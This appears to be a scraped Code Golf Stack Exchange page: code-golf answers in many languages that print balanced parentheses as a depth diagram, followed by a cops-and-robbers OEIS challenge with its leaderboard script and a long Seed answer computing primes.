sequences](https://en.wikipedia.org/wiki/ANSI_escape_code), but it also uses vertical tabs and it prints the control characters directly to avoid using **printf**. This requires a supporting video text terminal, which includes most non-Windows terminal emulators. ### Test run We have to set the shell variable *LANG* and the terminal emulator's encoding to ISO 8859-1. The former is achieved by executing ``` $ LANGsave="$LANG" $ LANG=en_US ``` Also, before executing the actual code, we'll disable the prompt and clear the screen. ``` $ PS1save="$PS1" $ unset PS1 $ clear ``` This makes sure the output is shown properly. ``` echo -n '()(())((()))(())()' | cjam <(base64 -d <<< cjppIigLIJtBKSJTL2Y9) ()( )( )( )() () ( ) () () ``` To restore *LANG* and the prompt, execute this: ``` $ LANG="$LANGsave" $ PS1="$PS1save" ``` ### How it works We insert a vertical tab after each **(** to move the cursor down and the byte sequence **9b 41** (`"\x9bA"`) before each **)** to move the cursor up. ``` r e# Read a whitespace-separated token from STDIN. :i e# Replace each character by its code point. e# '(' -> 40, ')' -> 41 "(. .A)" e# Push the string "(\v \x9bA)". S/ e# Split at spaces into ["(\v" "\x9bA)"]. f= e# Select the corresponding chunks. e# Since arrays wrap around in CJam, ["(\v" "\x9bA)"]40= and e# ["(\v" "\x9bA)"]41= select the first and second chunk, respectively. ``` [Answer] # Python 2, 115 bytes ``` def f(L,n=0,O=()): for c in L:n-=c>"(";O+=" "*n+c,;n+=c<")" for r in map(None,*O):print"".join(c or" "for c in r) ``` Call like `f("((()())()(()(())()))")`, and output is to STDOUT. ## Explanation We start with `n = 0`. For each char in the input line: * If the char is `(`, we prepend `n` spaces then increment `n` * If the char is `)`, we decrement `n` then prepend `n` spaces The result is then zipped and printed. Note that Python's `zip` zips to match the length of the *shortest* element, e.g. ``` >>> zip([1, 2], [3, 4], [5, 6, 7]) [(1, 3, 5), (2, 4, 6)] ``` Usually one would use `itertools.zip_longest` (`izip_longest`) if they wanted `zip` to pad to the length of the *longest* element. ``` >>> import itertools >>> list(itertools.izip_longest([1, 2], [3, 4], [5, 6, 7])) [(1, 3, 5), (2, 4, 6), (None, None, 7)] ``` But in Python 2, this behaviour can be simulated by mapping `None`: ``` >>> map(None, [1, 2], [3, 4], [5, 6, 7]) [(1, 3, 5), (2, 4, 6), (None, None, 7)] ``` --- ## Python 3, 115 bytes ``` L,d,*O=input(),0 for i,c in enumerate(L):b=c>"(";O+="",;O[d-b]=O[d-b].ljust(i)+c;d-=b*2-1 for l in O:l and print(l) ``` No zipping, just padding appropriately with `ljust`. This one seems to have some golfing potential. [Answer] # C, ~~58 53 52 51~~ 49 bytes Makes use of ANSI escape sequences to move the cursor position. ``` f(char*s){while(*s)printf(*s++&1?"\e[A)":"(\v");} ``` If not using gcc or another compiler that supports `\e` then it can be replaced with `\x1B` for a total of 2 extra bytes. `\e[A` moves the cursor up one row and `\e[B` moves the cursor down one row. It's not necessary to use `\e[B` to move down one row as it's two bytes shorter to use the ASCII vertical tab character `0xB` or `\v`. The input string is assumed, from the question, to consist of only (balanced) parentheses, so checking the parity of the character, with `&1`, is enough to distinguish between `(` and `)`. [Answer] # Pip, 53 bytes [**Pip**](https://github.com/dloscutoff/pip) is a code-golf language of my invention. The first version was published on Saturday, so I can officially take it for a spin! The solution below isn't terribly competitive as golfing languages go, but that's partly because I haven't implemented things like zip and max yet. ``` z:{aEQ'(?++v--v+1}MaW(o:{z@++v=i?as}Ma)RMs{Pov:-1++i} ``` Expects the string of parentheses as a command-line argument. "Ungolfed" version: ``` z:{ a EQ '( ? ++v --v+1 } M a W (o:{ z @ ++v = i ? a s } M a ) RM s { P o v:-1 ++i } ``` **Explanation:** Unlike most golfing languages, Pip is imperative with infix operators, so the syntax is somewhat closer to C and its derivatives. It also borrows ideas from functional and array-based programming. See the repository for further documentation. The program first generates a list of depths (storing it in `z`) by mapping a function to the input string `a`. The global variable `v` tracks the current level. (Variables `a-g` in Pip are function-local variables, but `h-z` are global. `v` is handy because it's preinitialized to -1.) Next, we use a `W`hile loop to generate and print each line, until the line generated would consist of all spaces. `v` is now used for columns, and `i` for rows. The `{z@++v=i?as}` function, repeatedly mapped to the original input string, tests whether the current line `i` matches the line the current parenthesis is supposed to be on (as stored in the `z` list). If so, use the parenthesis (`a`); if not, use `s` (preinitialized to space). The end result is that on each iteration, `o` gets assigned a list of characters equivalent to the next line of the output. To test whether we should continue looping, we check if `o` with all the spaces `RM`'d is empty. If not, print it (which by default concatenates everything together as in CJam), reset the column number to -1, and increment the row number. (Fun fact: I had a 51-byte solution at first... which didn't work because it turned up a bug in the interpreter.) [Answer] # R, ~~151~~ 127 characters ``` S=strsplit(scan(,""),"")[[1]];C=cumsum;D=c(C(S=="("),0)-c(0,C(S==")"));for(j in 1:max(D)){X=S;X[D!=j]=' ';cat(X,sep='',fill=T)} ``` With indents and newlines: ``` S=strsplit(scan(,""),"")[[1]] C=cumsum D=c(C(S=="("),0)-c(0,C(S==")")) for(j in 1:max(D)){ X=S X[D!=j]=' ' cat(X,sep='',fill=T) } ``` Usage: ``` > S=strsplit(scan(,""),"")[[1]];C=cumsum;D=c(C(S=="("),0)-c(0,C(S==")"));for(j in 1:max(D)){X=S;X[D!=j]=' ';cat(X,sep='',fill=T)} 1: ()(())((()))(())() 2: Read 1 item ()( )( )( )() () ( ) () () > S=strsplit(scan(,""),"")[[1]];C=cumsum;D=c(C(S=="("),0)-c(0,C(S==")"));for(j in 1:max(D)){X=S;X[D!=j]=' ';cat(X,sep='',fill=T)} 1: ((()())()(()(())())) 2: Read 1 item ( ) ( )()( ) ()() ()( )() () ``` It reads the string as stdin, splits it as a vector of single characters, computes the cumulative sum of `(` and `)`, substracts the former with the latter (with a lag) thus computing the "level" of each parentheses. It then prints to stdout, for each level, either the corresponding parentheses or a space. Thanks to @MickyT for helping me shortening it considerably! [Answer] # Pyth, 31 bytes ``` VzJs.e?YqN-/<zk\(/<zhk\)dzI-JdJ ``` [Try it online.](https://pyth.herokuapp.com/?code=VzJs.e%3FYqN-%2F%3Czk%5C(%2F%3Czhk%5C)dzI-JdJ&input=(()(()())()((())))(())&debug=0) `-/<zk\(/<zhk\)`: Finds the appropriate level for the current character position. `?YqN-/<zk\(/<zhk\)d`: A space if the appropriate level is not the current level, current character otherwise. `Js.e?YqN-/<zk\(/<zhk\)dz`: Generate the string, save it to `J`. `I-JdJ`: If `J` is not all spaces, print it out. `Vz`: Loop `z` times. [Answer] # GNU Bash + coreutils + indent, 135 ``` eval paste "`tr '()' {}|indent -nut -i1 -nbap|sed 's/.*/<(fold -1<<<"&")/'|tr ' ' \ `"|expand -t2|sed 'y/{}/()/;s/\(.\) /\1/g;s/ \+$//' ``` Input/output via STDIN/STDOUT: ``` $ ./telescopic.sh <<< "(()(()())()((())))(())" ( )( ) ()( )()( ) () ()() ( ) () $ ``` `indent` does most of the heavy lifting, but needs to work with braces instead of parens. The rest is [modification of this answer](https://codegolf.stackexchange.com/questions/17305/transpose-a-page-of-text/24501#24501) to transpose the output of `indent`. [Answer] # Python 2, 92 ``` def f(s,i=0,z=''): for x in s:b=x>'(';z+=[' ',x][i==b];i-=2*b-1 if'('in z:print z;f(s,i-1) ``` Prints line by line. For a given line number `i` (actually, its negation), goes through the input string `s`, and makes a new string `z` that only contains the characters of `s` at depth `i`. This is done by incrementing or decrementing `i` to track the current depth, and adding the current characters when `i` is `0` adjusted for paren type, and otherwise adding a space. Then, prints and recurses to the next `i` unless the current line was all spaces. Note that since the parens are balanced, the `i` after a loop is the same as at the start. Python 3 would be same except for a character for `print(z)`. [Answer] # cheating :( ~~Retina + TeX, N bytes~~ cheating :( This only works if you render(?) the output using MathJax or some other TeX, which is currently disabled for this SE :( ``` \( ({ \) }) \{\( _{( ``` Each line should be in a different file, but you can test it by using `Retina -e "\(" -e "({" -e "\)" -e "})" -e "\{\(" -e "_{("` (or the equivalent sed command `sed -e "s/(/({/g;s/)/})/g;s/{(/_{(/g"`). Input is passed through STDIN. This works by enclosing the contents of each pair of parentheses in braces, and then subscripting all the items inside them. ## Output ``` (((()))) (_{(_{(_{({})})})}) ()(())((()))(())() ({})(_{({})})(_{(_{({})})})(_{({})})({}) ((()())()(()(())())) (_{(_{({})({})})({})(_{({})(_{({})})({})})}) ``` ![TeX Output](https://i.stack.imgur.com/inv2p.png) [Answer] # Java, 232 226 224 222 bytes Golfed version: ``` int i,j,k,l,m,a[];void f(String s){a=new int[s.length()];j=a.length;for(k=0;k<j;){a[k]=s.charAt(k++)<41?i++:--i;m=m<i?i:m;}for(k=0;k<m;k++)for(l=0;l<j;)System.out.print(k==a[l++]?i++%2<1?'(':l==j?")\n":')':l==j?'\n':' ');} ``` Long version: ``` int i, j, k, l, m, a[]; void f(String s) { a = new int[s.length()]; j = a.length; for (k = 0; k < j;) { a[k] = s.charAt(k++) < 41 ? i++ : --i; m = m < i ? i : m; } for (k = 0; k < m; k++) for (l = 0; l < j;) System.out.print(k == a[l++] ? (i++ % 2 < 1 ? '(' : (l == j ? ")\n" : ')')) : (l == j ? '\n':' ')); } ``` The input string is analyzed first, looking for "(" and ")" to add/subtract a counter and store its value determining how far down the parentheses should go in an array while also keeping track of how deep the deepest one goes. Then the array is analyzed; the parentheses with lesser values are printed first, and will continue printing line by line until the maximum is reached. I'll probably find ways to golf this further later. [Answer] # Javascript/ES6, 97 chars ``` f=s=>{for(n in s){m=o=d='';for(c of s)o+=n==(c<')'?d++:--d)?c:' ',m=m<d?d:m;n<m&&console.log(o)}} ``` ## Usage ``` f("(()(()())()((())))(())") ``` ## Explanation ``` fn=str=>{ // accepts string of parenthesis for(line in str){ // repeat process n times where n = str.length max=output=depth=''; // max: max depth, output: what to print, depth: current depth for(char of str) // iterate over chars of str output+= line==(char<')'?depth++:--depth)? // update depth, if line is equal to current depth char:' ', // append either '(', ')', or ' ' max=max<depth?depth:max; // update max depth line<max&&console.log(output) // print if current line is less than max depth } } ``` [Answer] # CJam, ~~43 41~~ 36 bytes Not too golfed (I think), but here goes my first attempt: ``` l:L,{)L<)_')=@~zS*\+}%_$0=,f{Se]}zN* ``` **How it works** I am using the very handy fact that `)` and `(` in CJam mean increment and decrement respectively. Thus, I simply evaluate the brackets to get the depth. ``` l:L,{)L<)_')=@~zS*\+}%_$0=,f{Se]}zN* l:L,{ }% "Store input line in L and iterate over [0,L)"; )L< "substr(L, 0, iterator + 1)"; ) "Slice off the last character to stack"; _')= "Put 0 on stack if the sliced character is (, else 1 if sliced character is )"; @~ "bring forth the remaining brackets after slicing and evaluate them"; zS* "Stack has negative depth number, take absolute value and get that many spaces"; \+ "Prepend to the sliced character"; _$0=, "Get the maximum depth of brackets"; f{Se]} "Pad enough spaces after each string to match the length of each part"; zN* "Transpose and join with new lines"; ``` [Try it online here](http://cjam.aditsu.net/#code=l%3AL%2C%7B)L%3C)_')%3D%40~zS*%5C%2B%7D%25_%240%3D%2Cf%7BSe%5D%7DzN*&input=(()(()())()((())))(())) [Answer] # Octave, 85 chars ``` function r=p(s)i=j=0;for b=s k=b==40;k&&++j;t(j,++i)=9-k;k||--j;r=char(t+32);end;end ``` It's an optimization of the naïve approach, which is actually pretty natural for Matlab and Octave: ``` function r=p(s) i=j=1; for b=s if b=='(' t(++j,i++)='(' else t(j--,i++)=')' end; end; t(~t)=' '; r=char(t); end; ``` The table `t` may even not yet exist, and we may assign to any element right away, and it reshapes to the smallest dimension that is required for this element to exist which is quite convenient. [Answer] # Perl, ~~91~~ ~~89~~ ~~88~~ ~~84~~ ~~80~~ 79 bytes ``` $t=<>;{$_=$t;s/\((?{$l++})|.(?{--$l})/$^R==$c?$&:$"/ge;print,++$c,redo if/\S/} ``` * $t is the input string. * $c is the depth we want to print on the current line. * $l is the depth we are at after encountering a paren. * $l is updated in [regex embedded code blocks](http://perldoc.perl.org/perlre.html#(%3F%7B-code-%7D)). * $^R is the result of the most recent code block. [Answer] # Haskell, 154 bytes ``` f h('(':s)=h:f(h+1)s;f h(')':s)=(h-1):f(h-1)s;f _ _=[] main=interact$ \s->unlines[[if i==h then c else ' '|(c,i)<-zip s l]|let l=f 0 s,h<-[0..maximum l]] ``` same idea as the other Haskell solution, but somewhat shorter. - Usage: ``` echo '(((())())(()))' | runghc Golf.hs ``` [Answer] # [Brain-Flak](https://github.com/Flakheads/BrainHack), 338 bytes ``` ([]){(({})[()]<([{}][])([][()]){({}[()]<(({}<(({})(())){({}[()]<([{}]())>)}>{})<({}{})((){[()](<{}<>((((()()()()){}){}){})<>>)}{}){{}(({})<>)(<>)}{}(({})(())){({}[()]<([{}])>)}{}>{}<({}<(([])<{{}({}<>)<>([])}{}<>>)<>>)<>{({}[()]<({}<>)<>>)}{}<>>)>)}{}{}<>((()()()()()){})<>>)}{}{{}}<>{{}{}(({})[((((()()()){}())){}{}){}]())}{}{({}<>)<>}<> ``` [Try it online!](https://tio.run/##dU85DgMhDPzLVp4iP7As5R2IYpMmUaQt0lq8nYwNaLcJl8wceHh89/fx2p@f3qVUuIg3FEFVKd4qIcJxJ@VtECzygAhwwcNAxNCMpBIfGg9alC6TGBgTZMdSoydKb/muGkQT@tcGyVoEyTDMqeGOHrTHvUVtGPt0T4UtPosZDddoU8NXSbqvMOX8AlWZLKPn10O/OvDsvW9THELurd/uPw "Brain-Flak (BrainHack) – Try It Online") ## Idea The idea for this program is that we make a number of passes over the string. Each time we make a pass we keep track of a counter, we decrement the counter if we encounter a `(` and increment it if we encounter a `)`. If `(` brings it to -1 we copy it to the offstack and if `)` brings it to zero we copy it to the offstack. Otherwise we just copy a space. We do this as many times as the length of the string starting the counter at 0 the first time and decreasing it each loop. This way we catch the different layers in order. When we are done we just trim characters until we reach a `)`. [Answer] # J, 46 Not as great as the other 'golfing languages', but in my defence: J is terrible with strings. ``` [:|:(((,~(' '#~]))"0)(0,2%~[:+/\2+/\1-'(('i.]))~ ``` Takes the string as input for a function. There's also probably a better way to do it in J. ## Usage: ``` f=:[:|:(((,~(' '#~]))"0)(0,2%~[:+/\2+/\1-'(('i.]))~ f '(()(()())()((())))(())' ( )( ) ()( )()( ) () ()() ( ) () ``` [Answer] # Ruby, ~~119~~ ~~115~~ 114 ``` ->s{r=[""]*s.size d=0 s.chars.map{|l|r.map!{|s|s+" "} b=l>"("?1:0 d-=b r[d][-1]=l d+=1-b}.max.times{|i|puts r[i]}} ``` Explanation: ``` ->s{r=[""]*s.size # Take an array of strings big enough d=0 # This will contain the current depth s.chars.map{|l|r.map!{|s|s+" "} # Add a new space to every array b=l>"("?1:0 # Inc/Dec value of the depth d-=b # Decrement depth if we are at a closing paren r[d][-1]=l # Set the corresponding space to the actual open/close paren d+=1-b # Increment the depth if we are at a opening paren }.max.times{|i|puts r[i]}} # Print only the lines up to the max depth ``` [Answer] # Java, ~~233~~ 214 bytes ``` void f(String s){int p,x,d,l=s.length();char c,m[]=new char[l*l];java.util.Arrays.fill(m,' ');p=x=0;while(x<l){d=(c=s.charAt(x))==40?p++:--p;m[d*l+x++]=c;}for(x=0;x<l*l;x++)System.out.print((x%l==0?"\n":"")+m[x]);} ``` Indented: ``` void f(String s){ int p, x, d, l = s.length(); char c, m[] = new char[l * l]; java.util.Arrays.fill(m, ' '); p = x = 0; while (x < l){ d = (c = s.charAt(x)) == 40 ? p++ : --p; m[d * l + x++] = c; } for (x = 0; x < l * l; x++) System.out.print((x % l == 0 ? "\n" : "") + m[x]); } ``` I guess the final loop could be shortened, but I'll leave it as an exercise to the reader. ;-) --- Old, 233 bytes answer: ``` void f(String s){int y=s.length(),x=0;char[][]m=new char[y][y];for(char[]q:m)java.util.Arrays.fill(q,' ');y=0;for(char c:s.toCharArray())if(c=='(')m[y++][x++]=c;else m[--y][x++]=c;for(char[]q:m)System.out.println(String.valueOf(q));} ``` Indented: ``` static void f(String s) { int y = s.length(), x = 0; char[][] m = new char[y][y]; for(char[] q : m) java.util.Arrays.fill(q, ' '); y = 0; for(char c : s.toCharArray()) if(c == '(') m[y++][x++] = c; else m[--y][x++] = c; for(char[] q : m) System.out.println(String.valueOf(q)); } ``` [Answer] # C#, 195 bytes First try at golf - yell if I did something wrong. Alternative C# version using SetCursorPosition and working left to right taking the input as a commandline arg. ``` using System;class P{static void Main(string[] a){Action<int,int>p=Console.SetCursorPosition;int r=0,c=0;foreach(var x in a[0]){r+=x==')'?-1:0;p(c,r);Console.Write(x);r+=x=='('?1:0;p(c,r);c++;}}} ``` I thought it would be fun to adjust the write position based on the open/close paren and not full lines. Close paren moves the position up before writing; open paren moves it down after writing. Actioning SetCursorPosition saves five bytes. Moving the cursor to the next line after the output would take quite a bit extra. ``` using System; class P { static void Main(string[] a) { Action<int, int> p = Console.SetCursorPosition; int r = 0, c = 0; foreach (var x in a[0]) { r += x == ')' ? -1 : 0; p(c, r); Console.Write(x); r += x == '(' ? 1 : 0; p(c, r); c++; } } } ``` [Answer] # Batch, ~~356~~ 335 bytes I know that there already exists a Batch solution for this challenge, but this one is golfed significantly more and seems to take a different approach. Most importantly, the other batch solution contains at least one powershell command; this solution does not. ``` @echo off setlocal enabledelayedexpansion set p=%1 set p=%p:(="(",% set p=%p:)=")",% set c=0 for %%a in (%p%)do (if ")"==%%a set/ac-=1 set d=!d!,!c!%%~a if "("==%%a set/ac+=1&if !c! GTR !m! set m=!c!) set/am-=1 for /l %%a in (0,1,!m!)do (for %%b in (!d!)do (set t=%%b if "%%a"=="!t:~0,-1!" (cd|set/p=!t:~-1!)else (cd|set/p=. )) echo.) ``` There is a backspace character (`U+0008`) on the second to last line following the dot (line 12, column 57). This isn't visible in the code posted here but is included in the byte count. [Answer] # Batch, 424 bytes ``` @echo off setLocal enableDelayedExpansion set s=%1 set a=1 :c if defined s (set/ac+=1 set "z=" if "%s:~0,1%"=="(" (set "1=(")else (set/aa-=1 set "1=)") for %%a in (!a!)do for /f usebackq %%b in (`powershell "'!l%%a!'".Length`)do (set/ay=!c!-%%b for /l %%a in (1,1,!y!)do set z= !z! set "l%%a=!l%%a!!z!!1!") if "%s:~0,1%"=="(" set/aa+=1 if !a! GTR !l! set/al=!a!-1 set "s=%s:~1%" goto c) for /l %%a in (1,1,!l!)do echo !l%%a! ``` ## Un-golfed: ``` @echo off setLocal enableDelayedExpansion set s=%1 set a=1 set c=0 set l=0 :c if defined s ( set /a c+=1 set "z=" if "%s:~0,1%"=="(" ( set "1=(" ) else ( set /a a-=1 set "1=)" ) for %%a in (!a!) do for /f usebackq %%b in (`powershell "'!l%%a!'".Length`) do ( set /a y=!c!-%%b for /l %%a in (1,1,!y!) do set z= !z! set "l%%a=!l%%a!!z!!1!" ) if "%s:~0,1%"=="(" set /a a+=1 if !a! GTR !l! set /a l=!a!-1 set "s=%s:~1%" goto c ) for /l %%a in (1,1,!l!) do echo !l%%a! ``` Example: ``` h:\>par.bat (((())())(())) ( ) ( )( ) ( )() () () ``` [Answer] # C, 118 117 Bytes Another answer in C, but mine is shorter. ``` c;d;main(m,v)int**v;{while(d++<m){char*p=v[1];while(*p)c+=*p==40,putchar(c-d?*p:32),m=c>m?c:m,c-=*p++==41;puts("");}} ``` Ungolfed version: ``` c; /* current depth */ d; /* depth to print in current row */ main(m,v)int**v;{ while(d++<m) { char*p=v[1]; while(*p){ c+=*p==40; /* 40 = '(' */ putchar(c-d?*p:32); /* 32 = ' ' (space) */ m=c>m?c:m; /* search maximum depth */ c-=*p++==41; /* 41 = ')' */ } puts(""); } } ``` And it works! ``` % ./telescope '()(())((()))(())()' ()( )( )( )() () ( ) () () % ./telescope '((()())()(()(())()))' ( ) ( )()( ) ()() ()( )() () ``` [Answer] # [Haskell](https://www.haskell.org/), 107 bytes ``` h#('(':s)=h:(h+1)#s h#(_:s)|k<-h-1=k:k#s _#_=[] g s=[do(c,i)<-zip s$0#s;max" "[c|i==h]|h<-[0..maximum$0#s]] ``` [Try it online!](https://tio.run/##FcpBCoMwEIXhfU8xGMEJbUS31jlJCBKsmCEmLY1CKd49TeH9m4/nbPLLtuXsBDbYDEmSG9BdeynSpdhU5PSjcqonP/iCk5hIm8sKifTjifON5ai@/IJUdyLdg/1UUOn5ZCJnTjcq3bVtUQ5H@D@MycFyBAKO@/K28w41HHHjuCRoYc2IKMukLP0A "Haskell – Try It Online") Based on [d8d0d65b3f7cf42's Haskell answer](https://codegolf.stackexchange.com/a/49191/56433). [Answer] # Japt, 13 bytes ``` y_ùZ<')?°T:T´ ``` [Try it](https://ethproductions.github.io/japt/?v=2.0a0&code=eV/5WjwnKT+wVDpUtA==&input=IigoKCkoKSkoKSgoKSgoKSkoKSkpIg==) --- ## Explanation ``` y_ :Transpose, pass each column Z through a function and transpose back Z<') : Is Z less than ")", i.e., is Z equal to "("? ? : If so °T : Prefix increment variable T (initially 0) : : Else T´ : Postfix decrement T ù : Left pad Z with spaces to length T ``` ]
[Question] [ # Cops section The robbers section can be found [here](https://codegolf.stackexchange.com/q/88981/34388). Thanks to **FryAmTheEggman**, **Peter Taylor**, **Nathan Merrill**, **xnor**, **Dennis**, **Laikoni** and **Mego** for their contributions. --- ### Challenge Your task is to write 2 different programs ([full programs/functions/etc.](http://meta.codegolf.stackexchange.com/a/2422/34388)) in the **same** language and the **same** version (e.g. Python 3.5 ≠ Python 3.4, so that is not allowed), and when given **n** (using [STDIN/function arguments/etc.](http://meta.codegolf.stackexchange.com/q/2447/34388)), compute **a(n)** where **a** is an OEIS sequence of your choice. One of those programs is shorter than the other. You only need to submit the *longer* program of the two. The other one needs to be saved in case of not being cracked after 7 days. Your submission is cracked when your program has been outgolfed (whether it is by 1 byte or more). For example, if the task you chose was to perform **2 × *n***, this could be a valid submission (in Python 2): > > ## Python 2, 16 bytes, score = 15 / 16 = 0.9375 > > > > ``` > print(2*input()) > > ``` > > Computes [A005843](https://oeis.org/A005843), (offset = 0). > > > If your submission has been cracked, then you need to state that in your header like so: > > ## Python 2, 16 bytes, score = 15 / 16 = 0.9375, [cracked] + link > > > > ``` > print(2*input()) > > ``` > > Computes [A005843](https://oeis.org/A005843), (offset = 0). > > > --- ### Offset This can be found on every OEIS page. For example, for [A005843](https://oeis.org/A005843), the offset is `0,2`. We only need to use the first one, which is `0`. This means that the function is defined for all numbers ≥ 0. In other words, the function OEIS(n) starts with **n = 0**. Your program needs to work for all cases given by OEIS. More information can be found [here](http://oeis.org/wiki/Offsets). --- ### Scoring The score you get for your submission is equal to the following formula: **Score** = **Length (in bytes) of secret code** ÷ **Length (in bytes) of public code** The example above has the score 15 ÷ 16 = 0.9375. The submission with the **lowest** score wins. Only submissions that have posted their solution will be eligible for winning. --- ### Rules * The task you need to do is an OEIS sequence of your choice. * Given **n**, output **OEIS(n)**. Deviation is **not** allowed, so you need to produce the exact same sequence (when given n, you need to output OEIS(n)). * Submissions that are not cracked within a period of 7 days are considered **safe** after the **solution has been posted** (submissions older than 7 days that do not have their solution posted are still vulnerable in being cracked). * In your submission, you need to post the following things: **language name**, **byte count**, **full code**, so no pastebin links etc. (to prevent answers like Unary), **OEIS sequence**, **score with lengths of both programs** and additionally, the encoding that is used. * Note: the same sequence **cannot** be posted twice in the *same* language. (For example, if the sequence A005843 has been done in Pyth, you cannot use Pyth again for that same sequence.) * Input and output are both in decimal (base 10) ### Leaderboard ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><style>table th,table td{padding: 5px;}th{text-align: left;}.score{text-align: right;}table a{display: block;}.main{float: left;margin-right: 30px;}.main h3,.main div{margin: 5px;}.message{font-style: italic;}#api_error{color: red;font-weight: bold;margin: 5px;}</style> <script>QUESTION_ID=88979;var safe_list=[];var uncracked_list=[];var n=0;var bycreation=function(x,y){return (x[0][0]<y[0][0])-(x[0][0]>y[0][0]);};var byscore=function(x,y){return (x[0][1]>y[0][1])-(x[0][1]<y[0][1]);};function u(l,o){jQuery(l[1]).empty();l[0].sort(o);for(var i=0;i<l[0].length;i++) l[0][i][1].appendTo(l[1]);if(l[0].length==0) jQuery('<tr><td colspan="3" class="message">none yet.</td></tr>').appendTo(l[1]);}function m(s){if('error_message' in s) jQuery('#api_error').text('API Error: '+s.error_message);}function g(p){jQuery.getJSON('//api.stackexchange.com/2.2/questions/' + QUESTION_ID + '/answers?page=' + p + '&pagesize=100&order=desc&sort=creation&site=codegolf&filter=!.Fjs-H6J36w0DtV5A_ZMzR7bRqt1e', function(s){m(s);s.items.map(function(a){var he = jQuery('<div/>').html(a.body).children().first();he.find('strike').text('');var h = he.text();if (!/cracked/i.test(h) && (typeof a.comments == 'undefined' || a.comments.filter(function(b){var c = jQuery('<div/>').html(b.body);return /^cracked/i.test(c.text()) || c.find('a').filter(function(){return /cracked/i.test(jQuery(this).text())}).length > 0}).length == 0)){var m = /^\s*((?:[^,;(\s]|\s+[^-,;(\s])+).*(0.\d+)/.exec(h);var e = [[n++, m ? m[2]-0 : null], jQuery('<tr/>').append( jQuery('<td/>').append( jQuery('<a/>').text(m ? m[1] : h).attr('href', a.link)), jQuery('<td class="score"/>').text(m ? m[2] : '?'), jQuery('<td/>').append( jQuery('<a/>').text(a.owner.display_name).attr('href', a.owner.link)) )];if(/safe/i.test(h)) safe_list.push(e);else uncracked_list.push(e);}});if (s.items.length == 100) g(p + 1);else{var s=[[uncracked_list, '#uncracked'], [safe_list, '#safe']];for(var i=0;i<2;i++) u(s[i],byscore);jQuery('#uncracked_by_score').bind('click',function(){u(s[0],byscore);return false});jQuery('#uncracked_by_creation').bind('click',function(){u(s[0],bycreation);return false});}}).error(function(e){m(e.responseJSON);});}g(1);</script><link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/Sites/codegolf/all.css?v=7509797c03ea"><div id="api_error"></div><div class="main"><h3>Uncracked submissions</h3><table> <tr> <th>Language</th> <th class="score">Score</th> <th>User</th> </tr> <tbody id="uncracked"></tbody></table><div>Sort by: <a href="#" id="uncracked_by_score">score</a> <a href="#" id="uncracked_by_creation">creation</a></div></div><div class="main"><h3>Safe submissions</h3><table> <tr> <th>Language</th> <th class="score">Score</th> <th>User</th> </tr> <tbody id="safe"></tbody></table></div> ``` > > **Note** > > > This challenge is finished. The final winner is **feersum** with his [*Seed answer*](https://codegolf.stackexchange.com/a/98599/34388). Congratulations! :). > > > You can still submit new cops, but be aware that they are no longer competing. > > > [Answer] # [Seed](http://esolangs.org/wiki/Seed), 5861 bytes, score = 5012 / 5861 = 0.85 The sequence is primes ([A000040](http://oeis.org/A000040)) with offset 1. a(1) = 2, a(2) = 3, a(3) = 5 etc. ``` 106 4339425277766562922902283581834741289660008085947971671079664775075736459902652798498038280771739790213868067702391567527146683746696872737118568202495046682058807677834082334206717794057290386357040004038910321326390033894692316122893125849512049817771469697446796247656883761642659391998672259889315862253584980121050081936190889196979721443972131545258528161479083569474217100401074866410321578452749003295370495810488337344650619973376676577461877392643228932028285261311284691649403036725905675576380944186859525020321196255472295415627414823269713084816196540461818684672201926996228242729726187404845487167114556965625764494860789841409004737497250600337038738035289643512265772877903971230007222865264200102217827010958702813633039465646713707971175729900391272165457566364779628858903697222589748797809421482136725017988969980267265196209027326008642464190920825439635011414535065156799655809935871795742526416544853103823906918352472744460644939241345215614650110978624804796257165525598653433482592675123776747497586586903140407616610040250976121531777891358439091358523224019193934111409521776865798864774150127996987606796522094617839125169013781373842026970010007574244564780540958252950607459585834584855526028427463655493110963000525209314274839412714497954647707284352161251044088451086878301225167181712809612927720502228546704347274977503482518386819117870800284276687560241308964641752876311905619184965236937789822712948719170589044519552259399272657757694404103028213338440810122219269214268424256451648966039627998513353115348057963135398345514276156595104642595820063441019481255889600472121104059631555738973905087895006671206400595057069658845297458058584470727379036742268107372233190371861824194831387484478317333784774872796689435056263039565495723444232483369405079512770383639748492508848098080619713255928884946598796741958520788406091704951276729428229224292748702301286318784744573918534142896761450194446126776354892827260482520089107240497527796383449573487121759294618654056309957794765646022274249211113876873102681817500947681708211056388348991201016699342850495527766741633390367735662514559206616070479934780700857859919517187362382258597709910134111383911258731633002354208155277838257255571878219168563173495861133946240923601273185050088148273459064040178741322137494758164795598458780786653602794809987537740537018415433767449108362051063814315399931951925462073202072886716208053889630274798247936580024665863765351912184189125660586187615847325588786048095120241198943086897428919324650596915625795076460123743259068671341944912206659194476673792489442514470540309819938731582497982088632076086088279435186513066668502875362808653657423813387124496122632219269226944975782747969308509448942429277233562654639293567532567668357917753810024961683829653277391094269518376510962710057956994339018307344554672056556222387849272880157861877494719706801624724491116189525394408237355854147113614645956561900837121715298276123085019204014577395795131906357190097536924932784935203378709529040555114884933996346694363879974847691625806412083107877442577777402405491226347699452398189866905599648314105255526411599513768016126067224570735746339691839657336828937030584950250402550603260483421505256395736457980708347396132620971927806636308105501893575073944959824958733880580825249931469481777083600987966500968473202481877213198175820182125298036242272662171321630056435823478710070315022531849275633515412140708923196338877549535352180465031450246889723670908173572778497329815806296369714467774385173078365517895215622645081749679859298824530173433952201710212962315524645807786760255396609101229899503687886977229729747349967302227815724222900649259120496955396616388023947812556426182596252076072286860171961582235043470190275528327438941205680729222092142315348205283459886659277456757338926863444370956987436702675569004062857510888080701482282900718067707825890168959050535970636214821273965900140346587802750221148933877600652180282267212515086387728695565345543441575183083490091817551421389124038251086513387106526847199935776240422217886407416027185332010280169564289345500368555274327733580514983967396271907637608170801013991375555069570288329399237332712790289521766624379537848996471168926519414464863388365890585061582441222989105844636887033599262856636618609644981203616618819656730174147506366895579518927217154437260067784133452192099436160162797896733220282837763342940047719962882720310397266700665603774047807673735452896542215047419894928360985667680051383584281780118001522220147385455276205847620842066894760474814386271419398361771509559702341442734727141312211989794380570433135781896005067541537095546614638001539678780066976441749790924521292297473522803115912791790379839635473194794843511234906415092857115568242448079933264380632375450234146479596225552359821776361923588178896354011117990551249184457345201223244319766597339520899930287542362386381372955844126876031262062731835081542890548095759704856479235361996156162229417953890962902505112862674541020677153054937034038823204321411753183982406667628845943390275194956321260584953509501973880059966268311741789559